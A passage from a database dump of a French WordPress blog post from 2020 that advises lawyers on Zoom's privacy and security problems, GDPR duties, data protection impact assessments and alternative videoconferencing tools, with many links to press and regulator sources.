données\nvers la Chine. Le CEO a reconnu ce fait l’attribuant à une simple erreur d’aiguillage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or,\nnul ne peut ignorer la guerre de l’espionnage industriel. Zoom, comme toute société\naméricaine est sujette au US Cloud Act. Autrement dit à tout moment les données\npeuvent être réclamées par le gouvernement US.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.foxnews.com/tech/coronavirus-crisis-zooms-presence-china-under-scrutiny\" target=\"_blank\" rel=\"noreferrer noopener\">As Usage Booms Amid Coronavirus\nCrisis, Zoom’s R&amp;D Presence In China Under Scrutiny</a> </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Data breach ou accès non autorisé aux données</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout accès non autorisé aux données personnelles doit être évalué quant au sérieux\ndes conséquences potentielles pour les individus concernés. En cas de risque\ngrave, ils doivent être notifiés au plus vite et pas plus tard que <strong>dans les\n72 heures</strong>. L’autorité de protection des données doit être notifié au plus\ntard dans les 72 heures. Dans tous les cas le data breach doit être repertorié\nau registre interne conformément aux dispositions de <strong>l’art. 33 [_</strong><a href=\"https://awallon.com:15001/d/s/546474503562114839/2vQoztRp5iZOj061hTrsbdijXm14s8fR-sruARj6tlgc_\"><strong>RGPD33</strong></a><strong>_]</strong>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Posting <strong>screen shots</strong> de visio-conférence révélant le ID number du meeting et les images des participants accompagnées de leur noms ou pseudonymes peut être considérées comme une rupture de confidentialité,</li><li><strong>2 exemples</strong> majeurs récents&nbsp;: <a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Boris Johnson</a> le CNB postant une réunion du conseil ou leur AG.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Le cas particulier de l’usage d’un tel outil par\ndes avocats ou ordre professionnel</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans un contexte ou tant de cris d’alarmes ont été lancés à propos des manquements de cet outil, comme le New York Attorney General investigations demandant aux écoles de ne pas utiliser l’application, suivi par d’autres autorités étatiques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NY\nAttorney General to look at Zoom </a>&nbsp;:</em></li><li><em><a href=\"https://www.politico.com/news/2020/04/03/multiple-state-ags-looking-into-zooms-privacy-practices-162743\">Multiple\nstate AGs looking into Zoom’s privacy practices</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Utilisation de\nvidéo-conférences pour des tenues d’audience&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le 3 avril, Maitre Aymeric Duhesne du Cabinet Montesquieu a annoncée sur\nLinkedin&nbsp;: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;Avec Le Bâtonnier Stephane Dhonte,\nle greffe du Tribunal de Commerce de Lille Métropole et le juge des référés,\nnous venons de finaliser le test de la 1ère audience en visioconférence comme\nle permet l’ordonnance 2020-304 du 25.03.20. Le Barreau de Lille et ses avocats\nsont force de proposition et de solution immédiatement opérationnelle et\nmarquent ainsi leur détermination à permettre la continuité de l’accès au droit\naux justiciables, particuliers et entreprises, malgré la crise sanitaire. Des\ndossiers pourront à nouveau être entendus dès la semaine prochaine et des\ndécisions rendues.”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Parallèlement, Stephen\nAlmaseanu, Vice procureur au Parquet de Paris, Section F2 (adjoint du chef de\nla section, chargé des affaires commerciales) announcait sur Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Le Tribunal de commerce de Paris vient de\ntenir, mercredi 1et et jeudi 2 avril 2020, deux journées d’audiences dématérialisées\nqui se sont très bien déroulées. Plus de 40 dossiers urgents, notamment en\nraison de la présence de salariés impayés, ont été traités par visioconférence\nen utilisant </em><a href=\"https://www.linkedin.com/company/tixeo/\"><strong><em>TIXEO</em></strong></a><em>, logiciel\nfrançais assurant une totale confidentialité des débats grâce à des liaisons\nentièrement chiffrées, ce qui lui permet d’être certifié par l’</em><a href=\"https://www.linkedin.com/company/anssi-fr/\"><strong><em>ANSSI - Agence nationale de la sécurité des systèmes\nd\'information</em></strong></a><em>. Il s’agissait d’ouvertures de liquidations\net de conversions en liquidation, mais également d’ouvertures de redressements\njudiciaires (rappelons d’ailleurs ici que depuis le début du confinement de\nnombreux mandats ad hoc et conciliations ont également été ouverts). Bravo\nnotamment au greffe du Tribunal, qui a organisé ces audiences très lourdes à\nmettre en place en prévenant tous les intervenants (dirigeants, conseils, AJMJ,\nreprésentants des salariés) de l’heure exacte du passage de leur dossier pour\nque chacun puisse se connecter au bon moment). Bravo également aux juges et à\ntous les intervenants qui ont permis la tenue de ces premières audiences très\nutiles, qui permettent aux entreprises parisiennes de continuer à avoir accès\nau tribunal en cas d’urgence.</em>”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maitre Emmanuel Brunau du Mans annonçait hier\ntoujours sur Linkedin :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Pour information, le greffe du tribunal\nde commerce du Mans fonctionne normalement malgré la fermeture de la Cité\njudiciaire. Une permanence téléphonique est maintenue aux horaires habituels.\nEnfin pour faire face à l\'urgence, des audiences d\'ouverture de procédures collectives\nen visioconférence sécurisée TIXEO se tiennent tous les mardi pendant le\nconfinement.”</em><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Là où les\ninitiatives tombent au compte-gouttes en France, du côté anglo-saxon une\ninitiative concertée a émergé :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://www.linkedin.com/feed/update/urn:li:activity:6650510564797878273/\">Launched\ntoday: REMOTE COURTS WORLDWIDE, designed to help the global community of\njustice workers share experiences of \'remote\' alternatives (audio, video,\nonline) to traditional courts. This is a joint effort involving </a><a href=\"https://www.linkedin.com/company/scl-society-for-computers-and-law-/\">SCL - Society for Computers and Law</a></em><em> , <a href=\"https://www.linkedin.com/company/hm-courts-&amp;-tribunals-service/\">HM Courts &amp; Tribunals Service (HMCTS)</a>, and the UK\'s\nLawTech Delivery Panel. We must seize the moment and come together to\naccelerate the development of new ways of continuing to deliver just outcomes\nfor court users. Please contribute content at</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nonobstant la popularité de cet outil de visio-conférence, les cris d’alarmes continuent à se faire entendre contre l’utilisation de Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://epic.org/\">EPIC, Electronic Privacy Information Center</a>,\ndemande investigations au FTC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“<a rel=\"noreferrer noopener\" href=\"https://twitter.com/JLLeitschuh/status/1148310958391091200\" target=\"_blank\">Jonathan Leitschuh</a>, exposed a flaw allowing hackers to&nbsp;<a rel=\"noreferrer noopener\" href=\"https://www.vox.com/recode/2019/7/9/20687689/zoom-mac-vulnerability-medium-jonathan-leitschuh-camera\" target=\"_blank\">take over Zoom webcams</a>. The letter noted that the company did not address problem until after the Electronic Privacy Information Center, a public interest research center,&nbsp;<a rel=\"noreferrer noopener\" href=\"https://epic.org/privacy/zoom/EPIC-FTC-Complaint-In-re-Zoom-7-19.pdf\" target=\"_blank\">filed a complaint&nbsp;</a>about Zoom with the Federal Trade Commission last year</em>.”</li><li>“<em>According to EPIC,&nbsp;<a rel=\"noreferrer noopener\" href=\"https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5\" target=\"_blank\">Zoom</a>&nbsp;intentionally designed its web conferencing service to bypass browser security settings and remotely enable a user\'s web camera without the knowledge or consent of the user. As a result, Zoom exposed users to the risk of remote surveillance, unwanted videocalls, and denial-of-service attacks,” <a href=\"https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it\">the complaint alleged.</a></em>” </li><li><em>“EPIC Urges FTC to Investigate Zoom, Issue Best Practices for Online Conferencing In a letter to FTC Chairman Joe Simons, EPIC urged the FTC to \"open an investigation of Zoom\'s business practices and to issue, as soon as practicable, Best Practices for Online Conferencing Services.\" <a href=\"https://lnkd.in/epjxHgw\">Here’s the press release</a> “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le FBI lance des alertes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Earlier this week, the FBI&nbsp;</em><em><a href=\"https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic\" target=\"_blank\" rel=\"noreferrer noopener\">warned</a>&nbsp;of so-called “Zoom-bombing” or\nvideoconference hacking. “The FBI has received multiple reports of conferences\nbeing disrupted by pornographic and/or hate images and threatening language,”\nit said.” <a href=\"https://edition.cnn.com/2020/04/02/us/fbi-warning-zoombombing-trnd/index.html\">Published by CNN</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<strong><em>Zoom needs to clean up its privacy act</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“Privacy advocacy group\nAccess Now, meanwhile, dug into Zoom’s privacy policy and practices and didn\'t\nlike what it saw,&nbsp;</em><em><a href=\"https://www.accessnow.org/access-now-urges-transparency-from-zoom-on-privacy-and-security/\" target=\"_blank\" rel=\"noreferrer noopener\">sending\na letter</a>&nbsp;to the\ncompany on March 19 asking it to publish a transparency report along the same\nlines as other companies that made it plain exactly what the company was doing\nwith its users’ data. “ <a href=\"https://blogs.harvard.edu/doc/2020/03/27/zoom/\">Harvard Blog</a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Attorney General Tong Issues Recommendations for Safe Video Conferencing. “Earlier this week, I attended a Zoom conference that was ‘bombed’ by hundreds of profane and racist comments. Needless to say, I am familiarizing myself with these platforms’ privacy and security features, too. My office has been in contact with representatives from Zoom to address this and other issues relating to online security and privacy,” said Attorney General Tong. “ In the meantime, Attorney General Tong encouraged everyone to practice safer video conferencing by: • Ensuring that your video conference software is up to date. • Confirming that your conferences are private, either by requiring a password for entry or controlling guest access through a virtual waiting room. • Checking that the highest security settings are applied for your teleconference platform. • Consult your software company’s security information or your IT department. <a href=\"https://lnkd.in/gRcq9x2\">Here\'s the press release</a> <strong>”</strong></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Quel peut-être la responsabilité des juristes en matière de traitement des données consécutifs à l’utilisation d’une application qui a soulevé tant de tôlés </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avocat est tenu par le secret professionnel qu’il se doit de garantir. La loi du 31 décembre 1971, et plus particulièrement les dispositions de son article 66-5 impliquent qu’« <em>en toutes matières, que ce soit dans le domaine du conseil ou dans celui de la défense, les consultations adressées par un avocat à son client ou destinées à celui-ci, les correspondances échangées entre le client et son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières de celles portant la mention « officielle », les notes d’entretien et, plus généralement, toutes les pièces du dossier sont couvertes par le secret professionnel</em> »</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nécessité d’une </strong><strong>étude d’impact à réaliser avant l’adoption\nde la nouvelle technologie, </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Afin de s’assurer du bon respect des règles de protection des données\ntelles que sus-développées, les avocats sur les pas de leurs ordres\nprofessionnels, doivent s’assurer de la conformité des moyens techniques utilisés.\nLa confidentialité des informations dont ils sont mis en charge leur impose la\nplus grande vigilance. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans ce contexte, une évaluation de l’impact de la nouvelle technologie sur\nla protection des données traitées s’impose avant tout usage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La CNIL explique&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’AIPD est un outil\nimportant pour la responsabilisation des organismes&nbsp;: elle les aide non\nseulement à construire des traitements de données respectueux de la vie privée,\nmais aussi à démontrer leur conformité au Règlement général sur la protection\ndes données (RGPD). Elle est obligatoire pour les traitements susceptibles\nd’engendrer des risques élevés.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>L\'AIPD&nbsp;se décompose en trois parties :</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>Une description détaillée&nbsp;du traitement mis en œuvre, comprenant tant les aspects techniques qu’opérationnelsL’évaluation, de nature plus juridique, de la nécessité et de la proportionnalité concernant les principes et droits fondamentaux&nbsp; (finalité, données et durées de conservation, information et droits des personnes, etc.) non négociables, qui sont fixés par la loi et doivent être respectés, quels que soient les risques ;  </em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’étude, de nature plus technique, des risques sur la sécurité des données&nbsp;(confidentialité, intégrité et disponibilité)&nbsp;ainsi que &nbsp;leurs impacts potentiels sur la vie privée, qui permet de déterminer les mesures techniques et organisationnelles nécessaires pour protéger les données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>On note qu’analyse\nd’impact relative à la protection des données, AIPD&nbsp;(Data Protection\nImpact Assessment, terme retenu dans le RGPD) et PIA (Privacy Impact\nAssessment, terme plus commun utilisé dans d’autres régions du monde) sont\nsynonymes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Une Analyse d’Impact est obligatoire lorsque, toujours selon la CNIL&nbsp;:</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>…le traitement est\n«&nbsp;susceptible d’engendrer un risque élevé pour les droits et libertés des\npersonnes concernées&nbsp;».</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement envisagé figure dans&nbsp;</em><a rel=\"noreferrer noopener\" href=\"https://www.cnil.fr/sites/default/files/atoms/files/liste-traitements-aipd-requise.pdf\" target=\"_blank\"><em>la liste des types d’opérations de traitement</em></a><em>&nbsp;pour lesquelles la CNIL a estimé obligatoire de réaliser une analyse d’impact relative à la protection des données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement remplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices du G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement\nremplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices\ndu G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>évaluation/scoring&nbsp;(y\ncompris le profilage)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>décision automatique avec\neffet légal ou similaire&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>surveillance\nsystématique&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\nsensibles ou données à caractère hautement personnel ;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\npersonnelles à large échelle&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>croisement de\ndonnées&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>personnes vulnérables\n(patients, personnes âgées, enfants,&nbsp;etc.)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>usage innovant\n(utilisation d’une nouvelle technologie)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>exclusion du bénéfice\nd’un droit/contrat.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Exemple&nbsp;: une entreprise\nmet en place un traitement publicitaire visant à collecter les données de\ngéolocalisation de plusieurs millions d’individus pour créer des profils\npublicitaires et leur afficher de la publicité ciblée en fonction de leurs\ndéplacements &nbsp;; ce traitement remplit le critère de la collecte à grande\néchelle et celui de la collecte de données sensibles (données de localisation),\ndonc la réalisation d’une AIPD&nbsp;sera nécessaire.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>En l’absence des mesures d’évaluation des risques, l’avocat négligeant s’engage à la mise en cause de sa responsabilité. Les ordres professionnels devraient être sensibilisés à ce risque et accompagner leurs adhérents dans la recherche d’une solution conforme aux exigences du règlement. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La loi du 31\ndécembre 1971, et plus particulièrement par les dispositions de son article\n66-5 impliquent qu’« en toutes matières, que ce soit dans le domaine du conseil\nou dans celui de la défense, les consultations adressées par un avocat à son\nclient ou destinées à celui-ci, les correspondances échangées entre le client\net son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières\nde celles portant la mention « officielle », les notes d’entretien et, plus\ngénéralement, toutes les pièces du dossier sont couvertes par le secret professionnel\n»</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La <a href=\"https://www.cnil.fr/fr/salaries-en-teletravail-quelles-sont-les-bonnes-pratiques-suivre\">CNIL</a>\ncomme d’autres autorités de protection nationale ont produit des guides en ce\nsens. Ici le document produit par le <a href=\"https://www.dataprotection.ie/en/news-media/blogs/data-protection-tips-video-conferencing\">Irish\nData Protection Commissionner</a>. Une <a href=\"https://www.ssi.gouv.fr/guide/recommandations-sur-la-securisation-des-systemes-de-controle-dacces-physique-et-de-videoprotection/\">recommendation\nde la part de ANSSI</a> est également disponible. <a href=\"https://www.enisa.europa.eu/tips-for-cybersecurity-when-working-from-home\">ENISA</a>\n‘<em>cybersecurity when working from home’</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’utilisation de l’application Zoom n’a pas manqué d’ores et déjà de voir\nle jour à des procès en responsabilité&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.secureworldexpo.com/industry-news/zoom-sued-over-privacy-announces-cybersecurity-upgrades\">Zoom Sued Over Privacy, Announces Cybersecurity Upgrades</a></em></li><li><em>The Facebook API kerfuffle resulted in a&nbsp;<a rel=\"noreferrer noopener\" href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\" target=\"_blank\">lawsuit</a>&nbsp;[PDF], filed on Monday in California. The plaintiff in this case, Robert Cullen of Sacramento, California, <a href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\">The Register.</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Brittany Roush, Director at the Crypsis Group, said</a> : \"that having that kind of flexibility to ensure that critical services can carry on, especially in a crisis, does not take the teeth from the CCPA and GDPR. If anything, it demonstrates that the regulatory bodies are carrying out their essential function -- which is to ensure that companies protect consumer data... In many ways, the CCPA and GDPR should take a page from HIPAA, which lowered security standards for telehealth in order to manage the critical healthcare demands of the pandemic... we do not have the luxury of time on our side to devise perfect solutions.</em></li><li><a href=\"https://www.securityweek.com/zoom-credentials-database-available-dark-web?\">Zoom Credentials Database Available on Dark Web</a></li><li><a href=\"http:// https://www.techradar.com/uk/news/zoom-banned-for-official-use-in-taiwan\">Germany bans Zoom for official use</a></li><li><a href=\"https://medium.com/a-change-is-coming/what-zoom-can-learn-from-microsoft-aec876b79968\">Lessons from the Past: What Zoom can learn from Microsoft</a></li><li><a href=\"https://uk.reuters.com/article/uk-spacex-zoom-video-commn/elon-musks-spacex-bans-zoom-over-privacy-concerns-memo-idUKKBN21J71J\">Elon Musk\'s SpaceX bans Zoom over privacy concerns - memo</a></li><li><a href=\"https://www.nextinpact.com/news/108877-la-direction-interministerielle-numerique-deconseille-fortement-application-zoom.htm\">La Direction interministérielle du numérique « déconseille fortement » l\'application Zoom</a></li><li><a href=\"https://www.macg.co/logiciels/2020/04/de-plus-en-plus-deconseille-zoom-fait-appel-lancien-chef-de-la-securite-de-facebook-113193\">De plus en plus déconseillé, Zoom fait appel à l\'ancien chef de la sécurité de Facebook </a></li><li><a href=\"https://www.forbes.com/sites/moorinsights/2020/04/03/why-most-should-avoid-the-out-of-control-zoom-right-now/\">Why Most Should Avoid An ‘Out Of Control’ Zoom Right Now</a></li><li><a href=\"https://www.techrepublic.com/article/dark-web-cybercriminals-sell-half-a-million-zoom-accounts/\">Dark web: Cybercriminals sell over 500,000 Zoom accounts</a></li><li><a href=\"https://www.securityweek.com/zoom-credentials-database-available-dark-web?\">Zoom Credentials Database Available on Dark Web</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>Ainsi en conclusion, il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Quels sont les solutions alternatives ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Zoom alternatives :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://jitsi.org/jitsi-meet/\">Jitsi</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.tixeo.com/\">Tixeo</a> recommende par l’ANSSI</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bigbluebutton.org/\">BigBlueButton</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.visio-avocats.com/\">Visio-avocats</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pages.bluejeans.com/video-conferencing-trial.html?utm_source=google&amp;utm_medium=cpc&amp;personsource=paid_search&amp;utm_content=TrialLP&amp;utm_term=%2Bbluejeans%20%2Bconference&amp;utm_campaign=EMEA%20-%20Branded%20General&amp;utm_adgroup=EMEA%20-%20Branded%20General%20-%20BlueJeans%20Business\">BlueJeans</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.skype.com/en/\">Skype</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.gotomeeting.com/en-gb/lp/easy-online-meetings?cid=g2m_emea_ggs_cpc_brand_gotomeeting_e\">GotoMeeting</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://products.office.com/en-gb/microsoft-teams/group-chat-software\">Teams</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cisco.com/c/en_uk/solutions/collaboration/working-from-home.html?dtid=pseggl000183&amp;oid=trlco020841&amp;ccid=cc000703&amp;gclsrc=ds&amp;gclsrc=ds\">Webex</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":651,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/Screenshot-2020-04-07-at-22.39.46.png\" alt=\"\" class=\"wp-image-651\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bit.ly/2yoXVIG\">Ta</a><a href=\"https://noyb.eu/sites/default/files/2020-04/noyb_-_report_on_privacy_policies_of_video_conferencing_tools_2020-04-02_0.pdf\">bleau Comparatif NOYB</a><a href=\"https://bit.ly/2yoXVIG\">&nbsp;&nbsp;-&nbsp;&nbsp;Pour&nbsp;la&nbsp;version&nbsp;avec&nbsp;liens&nbsp;actifs,&nbsp;&nbsp;</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autre <a href=\"https://bit.ly/2wLRJKs\">tableau comparatif produit par l\'Autorité de protection des données</a> <a href=\"https://autoriteitpersoonsgegevens.nl/sites/default/files/atoms/files/keuzehulp_privacy_videobellen.pdf\">Hollandaise</a> traduit par<a href=\"https://twitter.com/PiracyByDesign\"> Christopher SCHMIDT Data Privacy Specialist • Magister of Law&nbsp;CIPP⁄E CIPM CIPT CBSA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":671} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/TAB1-725x1024.png\" alt=\"\" class=\"wp-image-671\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>CONTINUEZ A MAINTENIR L\'ALERTE EN SUIVANT LE COMPTE <a href=\"http://www.pearltrees.com/privacyday/zoom-video-conferencing/id31172465\">PEARLTREES</a> SUR LEQUEL SONT REGROUPÉS LES DERNIERES NEWS ET ARTICLE SUR CE SUJET.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Si vous teniez malgré tout à continuer à utiliser cette application, voici des conseils sur comment utiliser Zoom avec plus de sécurité :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<em><a href=\"/www.holgernilspohl.com/blog/how-to-keep-you-virtual-zoom-meetings-safe\">How\nto keep your Virtual (Zoom) Meetings safe</a></em><em>:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Data Protection Tips for Video-conferencing. By the </em><em><a href=\"https://www.linkedin.com/company/data-protection-commissioner-of-ireland/\"><strong>Data Protection Commission\nIreland</strong></a>. In light of the recent\nincrease in remote working, necessitated by COVID-19 mitigation measures, as\nwell as the increased numbers keeping in touch online with friends and family,\nthe number of people video-conferencing and video-calling has increased\ndramatically. This has also resulted in people using apps and services which\nthey might not have used before, or are now using for different reasons – i.e. using\nan app they usually use for personal purposes now for work purposes or vice\nversa. Concerns have been raised about how to use these technologies to keep in\ntouch with colleagues and loved ones in a way that is safe and secure, and\nensures an adequate standard of data protection. Here are some tips to help\nboth individuals and organisations (such as employers who might introduce new\nor increased videoconferencing arrangements for employees) use these services\nin a safe manner: <a href=\"https://lnkd.in/e8mpd8n\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/e8mpd8n</strong></a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->','Zoom Visio-conférence Pour Les Juristes','Il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.','inherit','closed','closed','','601-revision-v1','','','2020-04-17 18:52:45','2020-04-17 